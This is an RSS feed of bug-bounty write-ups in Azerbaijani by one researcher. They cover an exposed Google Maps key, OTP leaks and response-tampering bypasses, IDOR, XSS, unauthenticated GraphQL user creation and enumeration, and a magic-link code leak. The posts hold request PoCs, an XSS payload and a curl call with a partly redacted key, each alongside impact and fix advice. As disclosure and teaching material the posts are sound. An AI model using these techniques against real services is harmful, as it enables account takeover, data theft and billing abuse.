<?xml version="1.0" encoding="UTF-8"?><rss xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:content="http://purl.org/rss/1.0/modules/content/" xmlns:atom="http://www.w3.org/2005/Atom" version="2.0" xmlns:cc="http://cyber.law.harvard.edu/rss/creativeCommonsRssModule.html">
    <channel>
        <title><![CDATA[Stories by Vusal Valizade on Medium]]></title>
        <description><![CDATA[Stories by Vusal Valizade on Medium]]></description>
        <link>https://medium.com/@Vusal.Valizade?source=rss-f7b32ad524ec------2</link>
        <image>
            <url>https://cdn-images-1.medium.com/fit/c/150/150/1*80Ykb0EyLCAdv8ay-ZwjCQ.jpeg</url>
            <title>Stories by Vusal Valizade on Medium</title>
            <link>https://medium.com/@Vusal.Valizade?source=rss-f7b32ad524ec------2</link>
        </image>
        <generator>Medium</generator>
        <lastBuildDate>Wed, 18 Nov 2026 03:49:19 GMT</lastBuildDate>
        <atom:link href="https://medium.com/@Vusal.Valizade/feed" rel="self" type="application/rss+xml"/>
        <webMaster><![CDATA[yourfriends@medium.com]]></webMaster>
        <atom:link href="http://medium.superfeedr.com/" rel="hub"/>
        <item>
            <title><![CDATA[ApiKey Exposure via base64 encode]]></title>
            <link>https://medium.com/@Vusal.Valizade/apikey-exposure-via-base64-encode-2bf3c5a3660a?source=rss-f7b32ad524ec------2</link>
            <guid isPermaLink="false">https://medium.com/p/2bf3c5a3660a</guid>
            <dc:creator><![CDATA[Vusal Valizade]]></dc:creator>
            <pubDate>Fri, 22 May 2026 11:41:23 GMT</pubDate>
            <atom:updated>2026-05-22T11:41:23.815Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/400/1*ejTmRBHRcVhp4i-UcfStqg.gif" /></figure><p><strong>Duplicate bilmirəm neçə))<br>Maraqli oldu deye yazmaq istedim <br></strong>API açarı Base64 ilə gizlenirdi) targetde developer tools açıb mənbə koda baxanda bir şey diqqətimi çəkdi: gmRenderKey adlı bir sahə. Normalda bu tip key-lər server tərəfindən idarə olunmalıdır. Client tərəfə heç vaxt göndərilməməlidir. Amma burada key birbaşa HTML source kodunda, JavaScript obyektinin içində GIZLENIR`di)).</p><p>Tapilmasi sadedir:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/567/1*aOrGH8arTHup0jgf5WZ5wg.png" /></figure><p>1. Brauzerdə view-source:<a href="https://www.sellersummit.whatnot.com/">https://www.target.com/</a> açdım<br>2. Ctrl+F ilə Key’lere baxirdim<br>3. Bir Key tapdim base64 ile encode edilmisdi<br>4. Terminal açıb decode etdim:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/615/1*0xnZDTgBZuUt8ZHbER-_kA.png" /></figure><blockquote>echo “QU………bXk4” | base64 -d<br>→ AIzaSy…………………</blockquote><p>Google Maps API key formatı. Base64 decode etmək üçün proqramçı olmaq lazım deyil.</p><p>Key aktiv idi :</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*PjxuWdGIej0KRJm5EYXQ-A.png" /></figure><p>Payloadi bura yazim belke lazim olar)</p><p>curl “<a href="https://maps.googleapis.com/maps/api/geocode/json?address=Jakarta&amp;key=AIzaSyCBTROq6LuvF_IE1r46-T4AeTSV-0d7my8">https://maps.googleapis.com/maps/api/geocode/json?address=Jakarta&amp;key=AIzaSy</a>…..&quot;</p><p>200 OK — Jakarta üçün tam geocoding məlumatları. Key kənardan, heç bir məhdudiyyət olmadan işlədi.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*eNyBfFeh2QXAVAec7NeSaw.png" /><figcaption>bu tool’un linki : <a href="https://github.com/alexbieber/Google_map_api_scanner">https://github.com/alexbieber/Google_map_api_scanner</a> (mence istifade edin )</figcaption></figure><p>Vulnerable olan API-lər:<br>- Directions API<br>- Geocoding API<br>- Find Place From Text API<br>- Autocomplete API<br>- Place Details API<br>- Nearby Search API<br>- Text Search API</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*szxpnx-n_3A8bJpT1Fq-9g.png" /></figure><p><strong>Impact</strong><br>- Billing abuse: hər API sorğusu Target’in hesabına yazılır<br>- Quota DoS: limit doldurularaq saytın xəritə funksionallığı sıradan çıxarıla bilər<br>- Data exposure: geocoding vasitəsilə məlumat sorğuları atmaq mümkündür</p><p><strong>Recommendation</strong>:<br>- API key-i server tərəfə köçür, heç vaxt client-ə göndərmə<br>- HTTP referrer məhdudiyyəti tətbiq et<br>- Mövcud key-i dərhal revoke et, yenisini yarat<br>- Base64 “gizlətmə” deyil — real secret management istifadə et<br>- Google Cloud-da billing alert qur</p><p>Nəticə: Tapıntı duplicate kimi qapandı (tebii ki)</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*yFzZdP7kZehruOT98P1Fdw.png" /></figure><p>#bugbounty #apileakage #googlemaps #sensitivedataexposure #duplicate #cybersecurity</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=2bf3c5a3660a" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[OTP Exposure ilə Phone Verification Bypass]]></title>
            <link>https://medium.com/@Vusal.Valizade/otp-exposure-il%C9%99-phone-verification-bypass-d9be0da5a098?source=rss-f7b32ad524ec------2</link>
            <guid isPermaLink="false">https://medium.com/p/d9be0da5a098</guid>
            <dc:creator><![CDATA[Vusal Valizade]]></dc:creator>
            <pubDate>Thu, 11 Sep 2025 15:21:55 GMT</pubDate>
            <atom:updated>2025-09-11T15:21:55.866Z</atom:updated>
            <content:encoded><![CDATA[<p><strong>Duplicate#13 — OTP exposure. </strong>Normalda SMS ilə göndərilən <strong>OTP (One-Time Password)</strong> yalnız istifadəçinin telefonunda görünməlidir. Amma bu halda kod birbaşa serverin <strong>API cavabında</strong> qaytarılırdı. Bu isə authentication prosesini tamamilə faydasız edir və nəticədə <strong>telefon təsdiqləməsini bypass</strong> etmək mümkündür.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/360/1*apDksXoeZh94PUpq40SIBw.png" /></figure><h3>PoC:</h3><h3>1. OTP Göndərmə</h3><p>İstifadəçi nömrəsini əlavə edib SMS kod istəyəndə aşağıdakı request gedir:</p><pre>POST /api/v1/client/user/sendSmsCode<br>Content-Type: application/json</pre><pre>{<br>  &quot;phone&quot;: &quot;+994501234567&quot;,<br>  &quot;smsUuid&quot;: &quot;1234567890&quot;<br>}</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/343/1*56O7LkTdUMH6zarAJq2z1w.png" /></figure><h3>2. Server Cavabı</h3><p>Server isə cavab olaraq OTP kodunu açıq şəkildə qaytarır:</p><pre>{<br>  &quot;code&quot;: 200,<br>  &quot;msg&quot;: &quot;OK&quot;,<br>  &quot;data&quot;: &quot;707003&quot;<br>}</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/330/1*uA_dBEQmRYIGouzAPFWDvg.png" /></figure><p>Bu kodu doğrulama endpoint-inə göndərdikdə, heç bir SMS qəbul etmədən uğurla <strong>200 OK</strong> cavabı alınır və phone verification tamamlanır.</p><h3>Impact</h3><ul><li><strong>Authentication Bypass:</strong> İstifadəçi real telefon nömrəsinə sahib olmadan hesabı təsdiqləyə bilər.</li><li><strong>Fake Accounts:</strong> Kütləvi şəkildə saxta hesablar açmaq mümkündür.</li><li><strong>Potential Account Takeover:</strong> Əgər OTP mexanizmi login və ya critical action üçün istifadə olunursa, hesablara giriş də əldə edilə bilər.</li></ul><h3>Recommendations</h3><ul><li>OTP kodlarını <strong>API response-da qaytarmayın</strong>.</li><li>Kodları yalnız SMS/Email provider üzərindən istifadəçiyə çatdırın.</li><li>OTP təsdiqləməsini serverdə aparın, clientə heç bir əlavə məlumat ötürməyin.</li><li>Rate limiting və brute-force qoruması tətbiq edin.</li></ul><h3>Root Cause</h3><p>OTP kodunun <strong>server cavabında qaytarılması</strong> dizayn səhvidir. Bu kod yalnız SMS provider vasitəsilə istifadəçiyə çatdırılmalı idi, backend API heç vaxt müştəriyə göstərməməlidir.</p><p>#bugbounty #brokenauthentication #cybersecurity #otp #duplicate</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=d9be0da5a098" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[IDOR ilə Sensitive Information Exposure]]></title>
            <link>https://medium.com/@Vusal.Valizade/idor-il%C9%99-sensitive-information-exposure-e22a9e06d876?source=rss-f7b32ad524ec------2</link>
            <guid isPermaLink="false">https://medium.com/p/e22a9e06d876</guid>
            <dc:creator><![CDATA[Vusal Valizade]]></dc:creator>
            <pubDate>Wed, 10 Sep 2025 13:31:51 GMT</pubDate>
            <atom:updated>2025-09-10T13:31:51.247Z</atom:updated>
            <content:encoded><![CDATA[<p><strong>Duplicate#12 — IDOR (Insecure Direct Object Reference)</strong>. Bu tip zəifliklərdə backend tərəfindən <strong>authorization yoxlaması aparılmır</strong>, nəticədə istifadəçilər sadəcə id kimi parametrləri dəyişdirərək başqasının məlumatlarına baxa bilirlər.</p><p>Mənim tapdığım nümunədə, endpoint belə idi:</p><pre>GET /api/v1/client/user/findById/{userId}</pre><p>Hesab yaratdıqdan sonra findById endpoint-ini intercept etdim. Request belə görünürdü:</p><pre>GET /api/v1/client/user/findById/68b95f8f5c36c7af309f8688 HTTP/2<br>Host: server.target.com<br>Authorization: Bearer &lt;valid_token&gt;</pre><p>Serverin cavabı isə mənim hesabımın məlumatlarını qaytarırdı.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/919/1*GRNekwSWGf0GfRba-dofcg.png" /></figure><p>Növbəti addımda isə sadəcə userId dəyərini dəyişdim:</p><pre>GET /api/v1/client/user/findById/68b95d005c36c7af309f73dd HTTP/2<br>Host: server.target.com<br>Authorization: Bearer &lt;valid_token&gt;</pre><p>Və nəticədə <strong>başqa istifadəçinin məlumatları</strong> gəldi.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/927/1*tCaNYwqWPkmFz3XEDqm6yQ.png" /></figure><p>Burada <strong>email, ipAddress, card, walletAddress, status, register info</strong> kimi sensitive məlumatlar ifşa olunur.</p><h3>Impact</h3><ul><li><strong>Privacy violation:</strong> İstifadəçilərin şəxsi məlumatları (email, IP, telefon) 3-cü tərəflərə açıla bilər.</li><li><strong>Reconnaissance üçün zəmin:</strong> Hücumçu toplanan məlumatlarla phishing, credential stuffing və digər hücumları planlaşdıra bilər.</li><li><strong>Potensial account takeover chain:</strong> Əgər sistemdə başqa zəifliklər də varsa (məsələn OTP problemi), bu məlumatlarla hücum daha kritik ola bilər.</li></ul><h3>Root Cause</h3><p>Problemin əsas səbəbi — <strong>authorization yoxlamasının olmaması</strong>. Server sadəcə userId qəbul edir və JWT token sahibinin həmin istifadəçiyə aid olub-olmadığını yoxlamır.</p><h3>Recommendations</h3><ul><li>Endpoint-də <strong>authorization check</strong> əlavə edin: istifadəçi yalnız öz userId-inə aid məlumatı görə bilməlidir.</li><li>Mümkünsə userId kimi asan təxmin edilə bilən ObjectId və ya ardıcıl stringlərdən qaçın.</li><li>Sensitive məlumatların cavablarda qaytarılmasını minimuma endirin.</li></ul><h3>Nəticə</h3><p>Bu zəiflikde təəssüf ki, <strong>duplicate</strong> statusu aldı IDOR sevdiyim zəifliklərdən biridir, çünki <strong>sadə görünür, amma təsiri çox böyük ola bilir</strong>.<br>Bounty axtarmaga devam edirik))</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=e22a9e06d876" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Found 6 XSS ✅]]></title>
            <link>https://medium.com/@Vusal.Valizade/found-6-xss-682c7e70c63f?source=rss-f7b32ad524ec------2</link>
            <guid isPermaLink="false">https://medium.com/p/682c7e70c63f</guid>
            <dc:creator><![CDATA[Vusal Valizade]]></dc:creator>
            <pubDate>Fri, 29 Aug 2025 11:30:43 GMT</pubDate>
            <atom:updated>2025-08-29T11:32:03.668Z</atom:updated>
            <content:encoded><![CDATA[<p>Bir media qrupunun <strong>fərqli subdomainlərində eyni XSS zəifliyini</strong> aşkar etdim — ümumilikdə <strong>6 ədəd</strong>.</p><h3>Proof of Concept (PoC)</h3><p>Payload nümunəsi :</p><pre>&lt;img src=x onerror=&quot;alert(&#39;ByVuS3c&#39;)&quot;&gt;</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/836/1*cqJI2dg0EHWslrT9R5ShBQ.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/910/1*ige8FqVSLD_w9vzoHGirfg.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/831/1*Q6ZiijGqxr-TCdxnVSh9sA.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/884/1*59E7OX1stBnSEphEAwUROA.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/879/1*7YVKWuMCBFcyHc2GyHU1Nw.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/833/1*wAzyRZA41iDto4bbd0yYvg.png" /></figure><h3>Impact</h3><ul><li>Arbitrary JavaScript icrası mümkün olur</li><li>Sessiya oğurlama (session hijacking) mümkünlüyü</li><li>LocalStorage / SessionStorage məlumatlarına giriş</li><li>DOM manipulyasiyası və saxta formalarla credential oğurlamaq</li><li>İstifadəçi əvəzinə əməliyyatlar aparmaq</li></ul><h3>Recommended Fix</h3><ul><li>Bütün istifadəçi inputlarını <strong>output encoding</strong> ilə render etmək</li><li>Server və client tərəfdə input validation tətbiq etmək</li><li>DOMPurify kimi etibarlı sanitizasiya kitabxanalarından istifadə etmək</li><li>Content Security Policy (CSP) tətbiq edərək XSS təsirini azaltmaq</li></ul><p>Devami gelecek izlemede qalin)))</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=682c7e70c63f" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[OTP Bypass: Amma Accepted Risk))]]></title>
            <link>https://medium.com/@Vusal.Valizade/otp-bypass-amma-accepted-risk-3337f86fc81e?source=rss-f7b32ad524ec------2</link>
            <guid isPermaLink="false">https://medium.com/p/3337f86fc81e</guid>
            <dc:creator><![CDATA[Vusal Valizade]]></dc:creator>
            <pubDate>Sun, 24 Aug 2025 17:02:28 GMT</pubDate>
            <atom:updated>2025-08-24T17:02:28.150Z</atom:updated>
            <content:encoded><![CDATA[<p>Test zamanı OTP doğrulama mexanizmini araşdırdım. Normalda belə bir boşluq <strong>Critical</strong> ola bilərdi, amma şirkət bunu <strong>Accepted Risk</strong> kimi qiymətləndirdi.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/737/1*Ia9dwkoQuiTcsLkAGRGuPA.png" /></figure><h3>Problemin qısa təsviri</h3><ul><li>OTP sistemi <strong>server yoxlamasına deyil, frontend cavabına</strong> əsaslanır.</li><li>Serverdən gələn cavab frontend tərəfindən təhlil olunur və hesabın giriş icazəsi verilir.</li><li>Əgər bu cavabı manipulyasiya etsək, hesab girişinə icazə almaq mümkündür.</li></ul><h3>Step-by-Step</h3><ol><li>Hesab yaratma/login prosesi zamanı OTP tələb olunur.</li><li>Server cavabı frontend-ə göndərir. Normal halda cavab uğursuz OTP üçün belə görünür:</li></ol><pre>404 Bad Request<br><br>{<br>error: &quot;Token is invalid&quot; <br>error_code: 113<br>}</pre><ul><li>Burp Suite ilə <strong>cavabı intercept etmək mümkündür</strong>.</li><li>Cavabı modifikasiya ederek:</li></ul><pre>200 OK<br><br>{<br>error: &quot;Token is valid&quot;<br>error_code: 0<br>}</pre><p>Frontend bunu uğurlu OTP kimi qəbul edir və hesabın yaradılmasına/girişinə icazə verir.</p><h3>Nəticə olaraq</h3><ul><li><strong>Authentication Bypass:</strong> OTP tələb olunmur.</li><li><strong>Full Account Takeover:</strong> Hər hansı bir hesab üçün giriş mümkün olur.</li><li><strong>Sensitive Data Exposure:</strong> Hesab daxilindəki məlumatlar təhlükə altına düşür.</li></ul><p>Sirkət bunu <strong>accepted risk</strong> kimi qiymətləndirib, amma menim qiymetim kritikdir))</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=3337f86fc81e" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[OTP Rate Limit Bypass ilə Limitsiz OTP Göndərişi]]></title>
            <link>https://medium.com/@Vusal.Valizade/otp-rate-limit-bypass-il%C9%99-limitsiz-otp-g%C3%B6nd%C9%99ri%C5%9Fi-4741463cd88a?source=rss-f7b32ad524ec------2</link>
            <guid isPermaLink="false">https://medium.com/p/4741463cd88a</guid>
            <dc:creator><![CDATA[Vusal Valizade]]></dc:creator>
            <pubDate>Wed, 20 Aug 2025 11:27:21 GMT</pubDate>
            <atom:updated>2025-08-20T11:27:21.012Z</atom:updated>
            <content:encoded><![CDATA[<p>Login API üzərindən OTP (one-time password) göndərmə limitini bypass etmək mümkün idi. Normalda müəyyən saydan sonra server OTP göndərməməli idi. Amma sadəcə HTTP cavab status kodunu dəyişməklə bu məhdudiyyəti aşmaq olurdu. Artiq “duplicate”ler ard-arda gelir))</p><h3>Vəziyyətin İzahı</h3><p>Normal olaraq:</p><ol><li>Bir neçə dəfə OTP göndərmə sorğusu göndərilir.</li><li>Limit aşılarkən server belə cavab verir:</li></ol><pre>HTTP/2 400 Bad Request<br>{&quot;error_message&quot;:&quot;You’ve reached the maximum number of resend attempts. Please wait 15 minutes and retry.&quot;}</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/280/1*MCVy2bBuCnIsU2fFyNNx3w.png" /></figure><h3>Zəifliyin Eksploit Edilməsi</h3><p>Sadəcə olaraq burp vasitəsilə serverdən gələn 400 Bad Request cavabını dəyişib 200 OK etmək kifayət idi.</p><ul><li>Sorğunu intercept etdim.</li><li>Serverin cavabını dəyişib 200 OK etdim.</li><li>OTP sistemi yenidən işləyir və <strong>yeni OTP kodu göndərilir</strong>.</li></ul><p>Nəticədə limitsiz OTP göndərmək olur. Ve o OTP kod ile hesaba giris mumkun olur.</p><h3>İmpact</h3><ul><li><strong>Rate limit tamamilə bypass olunur</strong></li><li><strong>İstənilən e-mail üçün limitsiz OTP göndərmək</strong> imkani</li><li>Brute-force, spam, resurs abuse və hətta account takeover ssenariləri</li></ul><h3>Tövsiyə</h3><ul><li>OTP göndərişi yalnız serverdəki real limit check-lərə əsaslanmalıdır</li><li>Müştəri tərəfindəki response kodları ilə OTP trigger olunmamalıdır</li><li>Əlavə olaraq, IP və cihaz əsaslı throttling tətbiq olunmalıdır</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/400/1*P5gJ4Hdks-rX1Erkzvp1Pg.png" /></figure><p>Bu da mənim duplicate-lərimdən biri, amma texniki baxımdan çox xoşuma gəldi. Ümid edirəm başqaları üçün də faydalı olar 😅</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=4741463cd88a" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[GraphQL API ilə Authentication-siz User Enumeration və Fake Account Creation]]></title>
            <link>https://medium.com/@Vusal.Valizade/graphql-api-il%C9%99-authentication-siz-user-enumeration-v%C9%99-fake-account-creation-e8dcac2628ef?source=rss-f7b32ad524ec------2</link>
            <guid isPermaLink="false">https://medium.com/p/e8dcac2628ef</guid>
            <dc:creator><![CDATA[Vusal Valizade]]></dc:creator>
            <pubDate>Tue, 05 Aug 2025 15:01:56 GMT</pubDate>
            <atom:updated>2025-08-05T15:01:56.724Z</atom:updated>
            <content:encoded><![CDATA[<p><strong>Unauthenticated GraphQL Access ilə Real İstifadəçi Məlumatlarını və Fake Hesablar Yaratmaq Mümkün idi.<br>Bu boşluğu paylaşmaqla paylaşmamaq arasında qalmışdım. Çünki bu dəfə “duplicate” yox, “out of scope” cavabı aldım. Amma buna baxmayaraq, maraqlı və keyfiyyətli tapıntı olduğu üçün paylaşmağa qərar verdim.</strong></p><p>Bu yazıda belə bir vəziyyətdən bəhs edəcəm:<br> GraphQL API üzərindən <strong>authentication-siz </strong><strong>createUser və </strong><strong>users funksiyaları</strong> ilə necə:</p><ul><li>Fake hesablara kütləvi şəkildə yaradilmasi,</li><li>Real istifadəçilərin e-mail və adlarını toplamaq mümkün olduğunu kəşf etdim.</li></ul><p>Təəssüf ki, aktiv endpoint olsa da, <strong>bug bounty proqramında scope xaricində</strong> olduğu üçün “closed — out of scope” cavabı aldım. Amma texniki baxımdan çox maraqlı bir case-dir.</p><h3>Boşluq: Authentication Olmadan User Creation və Enumeration</h3><p><strong>Endpoint:</strong></p><pre>POST https://target.com/api/graphql</pre><h4>1. createUser mutation — Authentication olmadan fake hesab yaratmaq</h4><p><strong>Payload:</strong></p><pre>mutation {<br>  createUser(data: {<br>    email: &quot;vus3c@evil.com&quot;,<br>    name: &quot;Attacker&quot;,<br>    password: &quot;P@ssw0rd123&quot;<br>  }) {<br>    id<br>  }<br>}</pre><p><strong>Response:</strong></p><pre>{<br>  &quot;data&quot;: {<br>    &quot;createUser&quot;: {<br>      &quot;id&quot;: &quot;abcdefghijklmnopqrstuvwxyz123456789&quot;<br>    }<br>  }<br>}</pre><p><strong>Heç bir authentication yox, captcha yox, məhdudiyyət yox.</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*K-pb4v-JsKgoLru0HbIb9g.png" /></figure><h4>2. users query — Authentication olmadan real istifadəçilərin ad və email-larını almaq</h4><p><strong>Payload:</strong></p><pre>query {<br>  users {<br>    id<br>    name<br>    email<br>  }<br>}</pre><p><strong>Response:</strong></p><pre>{<br>  &quot;data&quot;: {<br>    &quot;users&quot;: [<br>      { &quot;name&quot;: &quot;user&quot;, &quot;email&quot;: &quot;user@gmail.com&quot; },<br>      { &quot;name&quot;: &quot;user&quot;, &quot;email&quot;: &quot;user@gmail.com&quot; },<br>      { &quot;name&quot;: &quot;user&quot;, &quot;email&quot;: &quot;user@gmail.com&quot; },<br>      ...<br>    ]<br>  }<br>}</pre><p>Burada həm daxili komandaya məxsus e-maillər görünür, həm də istifadəçi adları (PII).</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*MeTzrm2bxl4CmjV9goDtpA.png" /></figure><p>Şəkildə gördüyünüz kimi, əvvəldən yaratdığım e-poçt ünvanı burada görünür.</p><h3>İmpact:</h3><ul><li><strong>Fake hesablarla spam, DOS və ya brute-force hücumları.</strong></li><li><strong>Daxili istifadəçi e-mailləri ilə phishing, social engineering.</strong></li><li><strong>Hücumçular üçün qiymətli metadata və reconnaissance imkanı.</strong></li></ul><h3>Recommendation :</h3><ul><li>createUser mutation üçün authentication və rate-limiting tətbiq edilməlidir.</li><li>users query endpoint-i mütləq authorization ilə qorunmalıdır.</li><li>GraphQL introspection deaktiv edilməli və exposed schema məhdudlaşdırılmalıdır.</li></ul><h3>Cavab:</h3><blockquote><strong><em>“Təhlükəsizlik boşluğu real olsa da, istifadə edilən asset ( target.com ) scope daxilində deyil. Buna görə report bağlanır.&quot;</em></strong></blockquote><figure><img alt="" src="https://cdn-images-1.medium.com/max/782/1*GTNnIIds8jyfxf4sP15LUQ.png" /></figure><p>Bu da oldu mənim <strong>scope-dan kənar ama texniki olaraq maraqlı</strong> tapıntılarımdan biri 😅. Belə halların digərlərinə də faydalı ola biləcəyinə inanıram.</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=e8dcac2628ef" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Passkey Verification mərhələsində u: true ilə Authentication Bypass (Duplicate #9 )]]></title>
            <link>https://medium.com/@Vusal.Valizade/passkey-verification-m%C9%99rh%C9%99l%C9%99sind%C9%99-u-true-il%C9%99-authentication-bypass-duplicate-9-17dad7ef2fa6?source=rss-f7b32ad524ec------2</link>
            <guid isPermaLink="false">https://medium.com/p/17dad7ef2fa6</guid>
            <dc:creator><![CDATA[Vusal Valizade]]></dc:creator>
            <pubDate>Mon, 04 Aug 2025 19:58:34 GMT</pubDate>
            <atom:updated>2025-08-04T19:58:34.187Z</atom:updated>
            <content:encoded><![CDATA[<p>Bug bounty araşdırmaları zamanı bəzən elə məqamlar olur ki, sadə bir cavab dəyişkəni böyük bir zəifliyin açarı ola bilər.</p><p>Bu yazıda sizə təqdim etdiyim boşluq — login axınında sadəcə bir u: true dəyişkəni ilə <strong>real istifadəçi olmadan passkey mərhələsinə keçid</strong> edilməsinə imkan verən ciddi bir <strong>authentication logic flaw</strong>-dur.</p><p>Report göndərildikdən sonra “known issue” olaraq qeyd edildi, amma texniki baxımdan çox maraqlı və paylaşmağa dəyərdi.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/842/1*KQL-uKqt3bqRM0NvMEwq8g.png" /></figure><h3>Məqsədim:</h3><p><strong>Real istifadəçiyə məxsus olmayan bir e-mail ilə passkey verification hissesine keçmək idi.</strong></p><h3>Texniki Təhlil:</h3><p><strong>Endpoint:</strong><br> POST <a href="https://target.com/api/v1/auth/login">https://target.com/api/v1/auth/login</a></p><p><strong>İlkin Payload:</strong></p><pre>{<br>  &quot;email&quot;: &quot;test@gmail.com&quot;<br>}</pre><p><strong>Response deyismedik de cavab bele gelirdi:</strong></p><pre>{<br>  &quot;statusCode&quot;: 200,<br>  &quot;data&quot;: { &quot;u&quot;: false, &quot;p&quot;: false },<br>  ...<br>}</pre><p>Burada u: false — istifadəçi mövcud deyil.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/276/1*xKZWLudsGEJp5bkih-ojZQ.png" /></figure><p><strong>Manipulyasiya etdiyim cavab:</strong><br> Intercept vasitəsilə bu cavabı dəyişdim:</p><pre>&quot;u&quot;: true</pre><p><strong>V</strong>əəə<strong>:</strong><br> Sistem məni <strong>passkey verification</strong> mərhələsinə keçirdi, sanki “test@gmail.com” ünvanı real istifadəçiyə məxsus imiş kimi.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/582/1*Xn2x5s8vkjHbhs87NRBJvQ.png" /></figure><h3>Nə Üçün Bu Ciddi Boşluqdur?</h3><p>Əgər sonrakı mərhələdə əlavə yoxlama yoxdur (məs., passkey validation və ya MFA bypass), bu <strong>istifadəçi hesabının ələ keçirilməsinə</strong> gətirib çıxara bilər.Nə Üçün Bu Ciddi Boşluqdur?</p><ul><li>Bu artıq sadə <strong>user enumeration</strong> deyil.</li><li>Bu birbaşa <strong>authentication logic bypass</strong>-dır.</li><li>Əgər sonrakı mərhələdə əlavə yoxlama yoxdur (məs., passkey validation və ya MFA bypass), bu <strong>istifadəçi hesabının ələ keçirilməsinə</strong> gətirib çıxara bilər.</li></ul><h3>Tövsiyələr:</h3><ol><li><strong>Backend</strong> tərəfdə u: true tipli bayraqlara güvənilməməlidir.</li><li>email yoxlaması və növbəti mərhələyə keçid yalnız <strong>server tərəfindən real hesabın mövcudluğu və doğrulanması</strong> əsasında aparılmalıdır.</li><li>JSON cavablarında bu cür <strong>istifadəçi statusunu açıq göstərən sahələr</strong> ya çıxarılmalı, ya da anonimləşdirilməlidir.</li><li><strong>Tam axın (flow)</strong> düzgün şəkildə təhlükəsizlik qatları ilə qorunmalıdır.</li></ol><h3>Nəticə:</h3><p>Bəzən bir true/false dəyişəni belə böyük bir zəifliyə yol aça bilər.<br> Bu cür tapıntılar çox zaman gözəgörünməz qalır — çünki həm sadədir, həm də gözlənilməzdir.</p><p>Bu da mənim 9-cu “duplicate” tapıntım oldu 😅<br> Amma texniki cəhətdən öyrədici olduğu üçün paylaşmağa dəyər bildim.</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=17dad7ef2fa6" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Magic Link ilə Authentication Bypass — Girişsiz Login Kodları?!]]></title>
            <link>https://medium.com/@Vusal.Valizade/magic-link-il%C9%99-authentication-bypass-giri%C5%9Fsiz-login-kodlar%C4%B1-ca4525f9012c?source=rss-f7b32ad524ec------2</link>
            <guid isPermaLink="false">https://medium.com/p/ca4525f9012c</guid>
            <dc:creator><![CDATA[Vusal Valizade]]></dc:creator>
            <pubDate>Thu, 26 Jun 2025 17:14:40 GMT</pubDate>
            <atom:updated>2025-06-26T17:14:40.990Z</atom:updated>
            <content:encoded><![CDATA[<h3>Magic Link ilə Authentication Bypass — Girişsiz Login Kodları?!</h3><figure><img alt="" src="https://cdn-images-1.medium.com/max/392/1*BjbvwwB4EMDN_qIxPRcXOA.png" /></figure><h3>Bug Bounty Report #8</h3><p>Və 8 oldu… bu gedişlə <strong>duplicate rekordu</strong> qıracam! 😄<br> Bu dəfə qarşıma <strong>authentication bypass</strong> potensialı olan bir zəiflik çıxdi.<br>Test etdiyim platformada magic link login funksionallığı var idi. İstifadəçi emailini daxil edir, sistem ona <strong>birbaşa giriş linki</strong> (və ya kod) göndərir. Normalda bu kod <strong>yalnız istifadəçinin email ünvanına</strong> göndərilməli və <strong>server cavabında heç bir şəkildə göstərilməməlidir.</strong></p><h3>Apardığım testlər:</h3><h4>Nümunə 1 — Valid email ilə sorğu:</h4><pre>POST /auth/magiclink HTTP/2<br>Host: api.target.dev<br>Content-Type: application/json<br><br>{<br>  &quot;destination&quot;: &quot;test@gmail.com</pre><p>Serverdən gələn cavab isə belə idi:</p><pre>{<br>  &quot;success&quot;: true,<br>  &quot;code&quot;: &quot;50850&quot;<br>}</pre><p>Giriş kodu <strong>birbaşa JSON cavabında</strong> verilirdi.</p><figure><img alt="" 